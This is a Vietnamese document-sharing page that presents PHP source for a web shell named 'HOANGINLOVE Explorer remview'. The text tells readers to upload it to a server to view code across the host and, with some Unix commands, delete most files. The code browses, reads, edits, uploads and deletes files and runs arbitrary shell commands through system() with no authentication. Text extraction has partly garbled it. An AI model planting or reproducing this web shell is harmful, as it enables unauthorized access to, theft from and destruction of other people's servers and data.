Copy nội dung sau thành 1 file *.php. Up lên server, chạy file đó, bạn có thể xem
code của hầu hết các file trong host, chịu khó tìm hiểu 1 chút thì có thể view
code toàn server, hoạc thêm chút lệnh của unix nữa là có thể xóa del hầu hết mí
file trong đó.
10 trang |
Chia sẻ: luyenbuizn | Lượt xem: 1388 | Lượt tải: 0
Nội dung tài liệu Hướng dẫn View code, để tải tài liệu về máy bạn click vào nút DOWNLOAD ở trên
.View code :
trang này đã được đọc lần
Copy nội dung sau thành 1 file *.php. Up lên server, chạy file đó, bạn có thể xem
code của hầu hết các file trong host, chịu khó tìm hiểu 1 chút thì có thể view
code toàn server, hoạc thêm chút lệnh của unix nữa là có thể xóa del hầu hết mí
file trong đó.
<?php
$default_directory = dirname($PATH_TRANSLATED);
$show_icons = 0; define("REMY_EXPLORER_VERSION", "v1.0");
define("BACKGROUND_COLOR", "\"#000000\"");
define("FONT_COLOR", "\"#ffffff\"");
define("TABLE_BORDER_COLOR", "\"#ffffff\"");
define("TABLE_BACKGROUND_COLOR", "\"#000000\"");
define("TABLE_FONT_COLOR", "\"#ffffff\"");
define("COLOR_PRIVATE", "\"#ffbb99\"");
define("COLOR_PUBLIC", "\"#000000\"");
define("TRUE", 1);
define("FALSE", 0);
if (!isset($dir)) $dir = $default_directory;
$dir = stripslashes($dir);
$dir = str_replace("\\", "/", $dir);
$associations = array( "gif" => array( "function" => "viewGIF", "icon" =>
"icons/image2.gif" ), "jpg" => array( "function" => "viewJPEG", "icon" =>
"icons/image2.gif" ), "jpeg" => array( "function" => "viewJPEG", "icon" =>
"icons/image2.gif" ), "wav" => array( "function" => "", "icon" => "icons/sound.gif" ),
"mp3" => array( "function" => "", "icon" => "icons/sound.gif" ) );
if ($action != "view"): ?>
HOANGINLOVE Explorer remview
<! .body { fontfamily: 'Verdana'; fontsize: 13; color: <? echo FONT_COLOR; ?
> } table, div, tr, td
{font: 13 'Verdana'; color: }
a {textdecoration: none; color: "#00ff00" }
a:hover {textdecoration: underline; color: "#ff0000" }
>
> <? endif;
function readDirectory($directory)
{ global $files, $directories, $dir;
$files = array();
$directories = array();
$a = 0; $b = 0;
$dirHandler = opendir($directory);
while ($file = readdir($dirHandler))
{ if ($file != "." && $file != "..")
{ $fullName = $dir.($dir == "/" ? "" : "/").$file;
if (is_dir($fullName)) $directories[$a++] = $fullName;
else $files[$b++] = $fullName; } }
sort($directories); sort($files); };
function showInfoDirectory($directory)
{ global $PHP_SELF; $dirs = split("/", $directory);
print "Directory /"; for ($i = 1; $i < (sizeof($dirs));
$i++) { print "<a href=\"$PHP_SELF?dir=";
for ($a = 1; $a $dirs[$i]";
if ($directory != "/") echo "/"; } print "\n";
print "Free space on disk: ";
$freeSpace = diskfreespace($directory);
if ($freeSpace/(1024*1024) > 1024) printf("%.2f GBytes", $freeSpace/
(1024*1024*1024));
else echo (int)($freeSpace/(1024*1024))."Mbytes\n"; };
function showDirectory($directory)
{ global $files, $directories, $fileInfo, $PHP_SELF;
readDirectory($directory);
showInfoDirectory($directory); ?>
<table cellpadding=3 cellspacing=1 width="100%" border="0" bgcolor=<?
echo TABLE_BORDER_COLOR; ?>>
<td width="16" align="center"
bgcolor=>
NAME
SIZE
LAST MODIF.
PERMISSIONS
ACTIONS
<? for ($i = 0; $i < sizeof($directories);
$i++) { $fileInfo>getInfo($directories[$i]);
showFileInfo($fileInfo); } for ($i = 0; $i < sizeof($files); $i++) { $fileInfo
>getInfo($files[$i]);
showFileInfo($fileInfo); } ?>
<? }; class fileInfo { var $name, $path, $fullname, $isDir, $lastmod, $owner,
$perms, $size, $isLink, $linkTo, $extension; function permissions($mode)
{ $perms = ($mode & 00400) ? "r" : "";
$perms .= ($mode & 00200) ? "w" : "";
$perms .= ($mode & 00100) ? "x" : "";
$perms .= ($mode & 00040) ? "r" : "";
$perms .= ($mode & 00020) ? "w" : "";
$perms .= ($mode & 00010) ? "x" : "";
$perms .= ($mode & 00004) ? "r" : "";
$perms .= ($mode & 00002) ? "w" : "";
$perms .= ($mode & 00001) ? "x" : ""; return $perms; }
function getInfo($file)
{ $this>name = basename($file);
$this>path = dirname($file);
$this>fullname = $file; $this>isDir = is_dir($file);
$this>lastmod = date("m/d/y, H:i", filemtime($file));
$this>owner = fileowner($file);
$this>perms = $this>permissions(fileperms($file));
$this>size = filesize($file);
$this>isLink = is_link($file);
if ($this>isLink) $this>linkTo = readlink($file);
$buffer = explode(".", $this>fullname);
$this>extension = $buffer[sizeof($buffer)1]; } };
$fileInfo = new fileInfo; function showFileInfo($fileInfo)
{ global $PHP_SELF, $associations; echo "\n<tr
bgcolor=".TABLE_BACKGROUND_COLOR." align=\"center\">";
if ($show_icons) {
echo ""; if ($fileInfo>isDir) echo "";
elseif ($associations[$fileInfo>extension]["icon"] != "") echo "<img src=\"".
$associations[$fileInfo>extension]["icon"]."\">";
else echo ""; echo ""; } echo "<td
align=\"left\"";
if ($fileInfo>perms[7] == "w") echo " bgcolor=".COLOR_PUBLIC;
if ($fileInfo>perms[6] == "") echo " bgcolor=".COLOR_PRIVATE; echo ">";
if ($fileInfo>isLink) { echo $fileInfo>name." > ";
$fileInfo>fullname = $fileInfo>linkTo;
$fileInfo>name = $fileInfo>linkTo; }
if ($fileInfo>isDir) { echo "fullname\" ";
echo ">$fileInfo>name"; }
else echo $fileInfo>name;
echo "";
echo "$fileInfo>size";
echo "$fileInfo>lastmod";
echo "$fileInfo>perms";
echo ""; if (!$fileInfo>isDir) {
if ($fileInfo>perms[6] == 'r') { echo "fullname&action=view\"> View"; }
if ($fileInfo>perms[7] == 'w') {
echo "fullname&action=edit\"> Edit"; echo "fullname&action=delete\"> Del"; } }
echo ""; };
function viewFile($file)
{ global $associations, $fileInfo;
$fileInfo>getInfo($file);
if (!$associations[$fileInfo>extension] || $associations[$fileInfo>extension]
["function"] == "") showFile($file);
else $associations[$fileInfo>extension]["function"]($file); };
function showFile($file, $editing = 0)
{ global $PHP_SELF, $dir; $handlerFile = fopen($file, "r") or die("ERROR
opening file $file");
if ($editing) echo "
Edit file $file";
else echo "File $file";
echo "<form";
if ($editing) echo " action=\"$PHP_SELF?action=save&dir=$file\"
method=\"post\"";
echo ">";
$buffer = fread($handlerFile, filesize($file));
$buffer = str_replace("&", "&", $buffer);
$buffer = str_replace("<", "<", $buffer);
$buffer = str_replace(">", ">", $buffer);
echo "<textarea wrap=\"off\" cols=\"90\" rows=\"20\"
name=\"text\">$buffer";
if ($editing) echo "
\n";
echo "";
fclose($handlerFile); };
function saveFile($file)
{ global $dir, $text; $handlerFile = fopen($file, "w") or die("ERROR: Could not
open file ".basename($file)." for writing");
$text = stripslashes($text);
fwrite($handlerFile, $text, strlen($text)) or die("Error writing to file.");
fclose($handlerFile);
echo "Changes has been saved in ".basename($file)."";
$dir = dirname($file); };
function uploadFile()
{ global $HTTP_POST_FILES,$dir;
copy($HTTP_POST_FILES["userfile"][tmp_name], $dir."/".
$HTTP_POST_FILES["userfile"][name]) or die("Error uploading file".
$HTTP_POST_FILES["userfile"][name]);
echo "File ".$HTTP_POST_FILES["userfile"][name]." succesfully uploaded.";
//unlink($userfile); };
function deleteFile($file)
{ global $confirm;
if ($confirm != TRUE) die("Confirm deletion of $file");
else {
if (!unlink($file)) return FALSE; return TRUE; } };
function viewFileHeader($file, $header)
{ header($header); readfile($file); };
function viewGIF($file)
{ viewFileHeader($file, "Contenttype: image/gif"); };
function viewJPEG($file)
{ viewFileHeader($file, "Contenttype: image/jpeg"); };
switch ($action) { case "phpinfo": phpinfo();
die();
case "view": viewFile($dir);
break;
case "edit": showFile($dir, 1); break;
case "download": viewFileHeader($dir, "Contenttype: unknown"); break; case
"delete": if (!deleteFile($dir)) echo "Could not delete file $dir
"; else echo "File $dir deleted succesfully
"; $dir = dirname($dir);
showDirectory($dir);
break; case "exec": echo "\n";
echo system($dir);
echo "\n";
exit();
case "upload": uploadFile(); showDirectory($dir);
break;
case "save": saveFile($dir);
default: showDirectory($dir); break; };
if ($action != "view"): ?>
>
> <select
name="action" size="1"> Jump to
directory Create directory <! Not
implemented yet > Execute shell cmd
<form enctype="multipart/formdata" action="<? print "$PHP_SELF?
dir=$dir&action=upload"; ?>" method=post> <input type="hidden"
name="MAX_FILE_SIZE" value="1000000">
Error! Unknown switch argument.
Các file đính kèm theo tài liệu này:
- view_code_.PDF